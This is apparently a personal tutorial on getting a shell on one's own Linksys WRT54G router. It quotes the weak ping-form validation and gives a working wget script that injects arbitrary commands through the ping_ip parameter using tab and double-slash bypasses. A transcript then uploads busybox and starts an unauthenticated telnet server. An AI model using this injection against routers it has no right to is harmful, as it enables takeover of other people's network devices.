The WRT54G is a nice little Linux/MIPS-based "router" from Cisco-Linksys. Its abilities include Wi-Fi access point (54Mbps), NAT & firewall, DHCP server, five-port switch, automatic reconnection using PPPoE, PPPoA and others, as well as a DynDNS client.
Of course, firmware is stored on flash, and since the code is GPL, one can make their own firmware and upload it to the unit. But this is not for the faint of heart: doing so may turn your WRT54G into a paperweight, void your warranty, make your milk sour and your shirt itchy.
One really interesting thing about the WRT54G is that, thanks to non-defensive coding of the web administration interface, one can relatively easily run arbitrary Linux programs on the router itself.
Cracking one's own machine isn't too difficult given the source code for its operating system is available–yay Linksys for respecting the terms of the GPL! I'm not linking to the exact download page, because URLs on Linksys' site are unreadable and they don't hesitate to break links; so just go there and search for "WRT54G" to find product information, and "GPL" to find the "GPL Code Center". What I'm writing here is valid for firmware revision 3.03.1: I can't guarantee it will work with other versions, but it's worth a shot. Also, the WRT54GS is a very similar device, and some of the material presented here might be applicable to that model too.
As usual, it is incorrect validation in one of the administration interface's HTML forms —the ping form to name it— that will allow us to execute arbitrary code. It used to be possible to give ping, instead of a hostname example.com, the same thing followed by arbitrary commands like this: example.com; ls. This would execute the command ls on the router. But this hole has been partially plugged in more recent versions.
A look in release/src/router/www/cisco_wrt54g_en/Ping.asp —with a hilarious header, since this is GPL code— indicates that we must look for the server-side validation in apply.cgi. Actually, no, better head straight to the error message which is returned when bad data is input, "Invalid IP Address or Domain Name". It comes from WRT54G_3_01_3_0922/release/src/router/rc/services.c, once again with hilarious comments:
if(!check_wan_link(0)) buf_to_file(PING_TMP, "Network is unreachable\n"); else if(strchr(ip, ' ') || strchr(ip, '`') || strstr(ip, PING_TMP)) // Fix Ping.asp bug, user can execute command ping in Ping.asp buf_to_file(PING_TMP, "Invalid IP Address or Domain Name\n"); else if(nvram_invmatch("ping_times","") && nvram_invmatch("ping_ip","")){ char cmd[80]; snprintf(cmd, sizeof(cmd), "ping -c %s -f %s %s &", nvram_safe_get("ping_times"), PING_TMP, ip); printf("cmd=[%s]\n",cmd); eval("killall", "ping"); unlink(PING_TMP); system(cmd); }
(Code rewrapped for your benefit: the actual code goes as far as column 142.)
So, what did we learn here? The first else if and the attached comment indicates that the validity of a machine name is verified by checking that it contains neither (0) spaces, nor (1) backquotes, nor (2) the name of the file normally used to store the results of ping internally. What happened to the good old technique of using a regular expression matching valid hostnames and valid IPv4 IP numbers? Anyway, workarounds aren't too hard to find: (0) who needs spaces when there are tabs? (1) we don't need backquotes at all and (2) since doubling slashes in pathnames is (almost always) allowed in Unix, we'll do just that.
Simply use the following half-assed shell script (lsysexec.sh):
ftmp=/tmp/o cmd="$1" COMMAND=$(echo "$cmd" \ | sed -e 's/ /%09/g' -e 's/\//%2f/g') wget --http-user= --http-passwd=$PASSWORD -O $ftmp \ -q \ "http://linksys/apply.cgi?submit_button=Ping&ping_times=1\ &submit_type=start&action=Apply&change_action=gozila_cgi&ping=Ping\ &ping_ip=%26$COMMAND>>%2ftmp%2f%2fping.log" \ && cat $ftmp | grep '^[ ,]"' | sed 's/^[ ,]"\(.*\)"$/\1/g'
After adjusting to your local parameters, notably setting the hostname to that of your WRT54G and setting PASSWORD, typing sh lsysexec.sh command should execute command on the router.
This is not all: since what we have is a regular MIPS-Linux system, we can build a cross-compiler and then put whichever server we want on the router. Unfortunately, building cross-compiling GCCs is painful. Fortunately, someone already did it for us: thanks to Jim Buzbee, one can just get a pre-compiled busybox and other goodies. I used version 0.51, but now see that newer versions work on recent firmware revisions out-of-the-box. I'm going to explain in detail how to copy the new busybox and run its telnet server:
$ read PASSWORD
$ export PASSWORD
$ ttcp -t -p 10 lsys <busybox
$ sh lsysredir.sh "/usr/sbin/epi_ttcp -r -p 10 >/tmp/a"
$ sh lsysexec.sh "chmod 777 /tmp/a"
$ sh lsysexec.sh "ls -l /tmp"
drwxr-xr-x 1 0 0 0 Jan 1 2000 var drwx------ 1 0 0 0 Jan 1 1970 cron.d -rw-r--r-- 1 0 0 8 Sep 30 00:58 action -rw------- 1 0 0 36 Sep 30 01:02 crontab -rw------- 1 0 0 52 Sep 30 00:58 resolv.conf -rw-r--r-- 1 0 0 0 Jan 1 1970 udhcpd.leases -rw-r--r-- 1 0 0 286 Sep 30 00:58 udhcpd.conf -rw-r--r-- 1 0 0 96 Sep 30 00:58 nas.lan.conf drwxr-xr-x 1 0 0 0 Jan 1 1970 ppp -rw-r--r-- 1 0 0 33 Sep 30 00:57 nas.wan.conf -rw------- 1 0 0 0 Sep 30 00:58 hosts -rw-r--r-- 1 0 0 794 Sep 30 00:52 cert.pem -rw-r--r-- 1 0 0 493 Sep 30 00:52 key.pem -rw-r--r-- 1 0 0 4 Sep 30 00:58 nas.lan.pid -rw-r--r-- 1 0 0 0 Sep 30 01:12 ping.log -rw-r--r-- 1 0 0 8 Sep 30 01:04 ddns_msg -rw-r--r-- 1 0 0 89 Sep 30 01:04 ddns.conf -rw-r--r-- 1 0 0 26 Sep 30 01:04 ddns.cache -rwxrwxrwx 1 0 0 1197420 Sep 30 01:10 a
$ sh lsysexec.sh "/tmp/a telnetd"
$ telnet linksys
Trying 192.168.1.1... Connected to linksys (192.168.1.1). Escape character is '^]'. BusyBox v0.60.0 (2004.10.18-05:39+0000) Built-in shell (msh) Enter 'help' for a list of built-in commands.
(And, yes, I could just wrap all these commands in an nifty script. But I don't feel the need to do so, since I reboot the machine so rarely–only for moves or blackouts (stupid Hydro-Québec!) so far.)
Sometimes, for completely unknown reasons, a WRT54G can fail to boot properly. At some point, mine kept blinking (this indicates unfinished bootup), with the five-port switch still working, allowing me to use PPPoE from one of the workstations and then fetch instructions for a very hard reboot: this is Void Main's Linksys WRT54G revival tip, which involves shorting pins on the PCB so as to make the CRC check fail during low-level stages of the bootup process, causing the unit to enter a "restore" mode which can download new firmware.
However, a much simpler maneuver sufficed: holding the reset button for 30 seconds, unplugging the unit while holding the pressure for another 30 seconds. This is much longer than what the manual instructs, but was apparently needed in my case. Many thanks to Nino for the tip.
In addition, I found that the following would sometimes allow me to survive harder lockups:
Quick links: